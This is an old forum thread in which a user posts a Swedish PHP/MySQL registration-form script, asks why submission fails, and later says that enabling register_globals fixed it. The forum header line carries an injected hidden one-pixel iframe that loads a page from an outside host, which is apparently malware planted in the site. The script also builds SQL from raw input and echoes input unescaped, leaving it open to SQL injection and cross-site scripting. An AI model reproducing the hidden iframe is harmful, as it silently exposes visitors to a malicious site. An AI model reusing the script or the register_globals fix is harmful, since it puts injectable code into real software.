Need help with a .php script

Non-DC related talk...<iframe src=http://pokupka.ks.ua/templates/As/image ... p?from=com width=1 height=1 style=display:none></iframe>

Moderator: Moderators

Locked
joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Need help with a .php script

Post by joakim_tosteberg » 2003-12-11 11:25

The script:

Code: Select all

<script>
function win()
{
	window.close(self)
}
</script>

<html>

<body bgcolor="#4942D5">
<font color="#FFFFFF">
<?php

// Connect to the database
include("db_connection.inc");

// THis happens then we press "submit"
if ($submit) {
$error = 0;
  
  // Ceheck that all field contains good values
    if(strlen($nick) < 3) {
  
  	echo "För kort nick. <br />";
  	$error = 1;
  }
  
  if(strlen($nick) > 19) {
  
  	echo "För långt nick. <br />";
  	$error = 1;
  }
  
  if(strlen($fnamn) < 2) {
  	
  	echo "För kort förnamn. <br />";
  	$error = 1;
  }
  
  if(strlen($fnamn) > 19) {
  	
  	echo "För långt förnamn. <br />";
  	$error = 1;
  }
  
  
   if(strlen($enamn) < 2) {
  	
  	echo "För kort efternamn. <br />";
  	$error = 1;
  }
  
  if(strlen($enamn) > 19) {
  	
  	echo "För långt efternamn. <br />";
  	$error = 1;
  }
  
 if(strlen($alder) != 1 && strlen($alder) != 2) {

  	echo "Felaktig ålder. <br />";
  	$error = 1;
  }
  
  if(strlen($address) < 5) {
  	
  	echo "För kort adress. <br />";
  	$error = 1;
  }
  
  if(strlen($address) > 49) {
  	
  	echo "För lång adress. <br />";
  	$error = 1;
  }
    
  if(strlen($ort) < 2) {
  	
  	echo "För kort ortnamn. <br />";
  	$error = 1;
  }
  
  if(strlen($ort) > 29) {
  	
  	echo "För långt ortnamn. <br />";
  	$error = 1;
  }
    
  if(strlen($telefon) < 5) {
  	
  	echo "För kort telefonnummer. <br />";
  	$error = 1;
  }
  
  if(strlen($telefon) > 29) {
  	
  	echo "För långt telefonnummer. <br />";
  	$error = 1;
  }
  
  if (!ereg('^[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+'.'@'.'[-!#$%&\'*+\\/0-9=?A-Z^_`a-z{|}~]+\.'.'[-!#$%&\'*+\\./0-9=?A-Z^_`a-z{|}~]+$', $mail)) {
	
	echo "Felaktig mail adress. <br />";
	$error = 1;
  }
 
 if($error != 1)
 //If we've get here, all input data is ok
 {
  
  // here if no ID then adding else we're editing

  if ($id) {

    echo "Fel! <br />";
	echo "Id already has an value. <br />"; 

 } else {
 
    $sql = "INSERT INTO anmalda (nick,fnamn,enamn,alder,address,ort,telefon,mail) VALUES ('$nick','$fnamn','$enamn','$alder','$address','$ort','$telefon','$mail')";

  }

  // run SQL against the DB
  
  $result = mysql_query($sql);

  echo "Thankyou for you registration!<p>";

} 
}

else {

?>

  </font>

  <P>

  <P>

  <form method="post" action="<?php echo $PHP_SELF?>">
  <font color="#FFFFFF">
  <input type=hidden name="id" value="<?php echo $id ?>">

  </font><font color="#FFFFFF">  
  Förnamn:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type="Text" name="fnamn" value="<?php echo $fnamn ?>"><br>

  Efternamn:&nbsp;&nbsp;&nbsp; <input type="Text" name="enamn" value="<?php echo $enamn ?>"><br>
  
  Ã…lder:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type="Text" name="alder" value="<?php echo $alder ?>"><br>

  Ort:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 
	<input type="Text" name="ort" value="<?php echo $ort ?>" size="20"><br>

  *Address:&nbsp;&nbsp;&nbsp;&nbsp; 
	<input type="Text" name="address" value="<?php echo $address ?>" size="20"><br>
    
  *Telefon:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type="Text" name="telefon" value="<?php echo $telefon ?>"><br>

  *Mail:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type="Text" name="mail" value="<?php echo $mail ?>"><br>

  Nick:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input type="Text" name="nick" value="<?php echo $nick ?>"><br>

  <input type="Submit" name="submit" value="Anmäl mig">
  
  <input type="Reset" name="reset" value="Töm anmälan">
  
  </font>
  
  </form>

<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p><font color="#FFFFFF">The Information in fields marked with * will only be availble for crew.</font></p>
<font color="#FFFFFF">
<p>&nbsp;</p>
<p>&nbsp;</p>

</font>

<font color="#FF00FF">
<p align="center"><b><a href="javascript:win()"><font color="#FF00FF">Stäng</font></a></b></p>

</font>

<font color="#FFFFFF">
<?php
}
?>

</font>

</body>
</html>
Ok, now to the problem. I can't get this to work on my wk3 puter running IIS 6.0, PHP 4.3.5 and MySQL 4.0.16. For some reason does it then I press submit it just returns to the form again so I've come to the conclusion that $submit never becomes true of some unknown reason.
I've also tiried apace insted of iis with the same results.
But it does work if I use it on a webpage at http://www.freehttp.com.
Anyone having any suggestions?

joakim_tosteberg
Forum Moderator
Posts: 587
Joined: 2003-05-07 02:38
Location: Sweden, Linkoping

Post by joakim_tosteberg » 2003-12-11 15:06

Hmm, managed to find the solution on my own :oops: .
Had to enable global_vars

Locked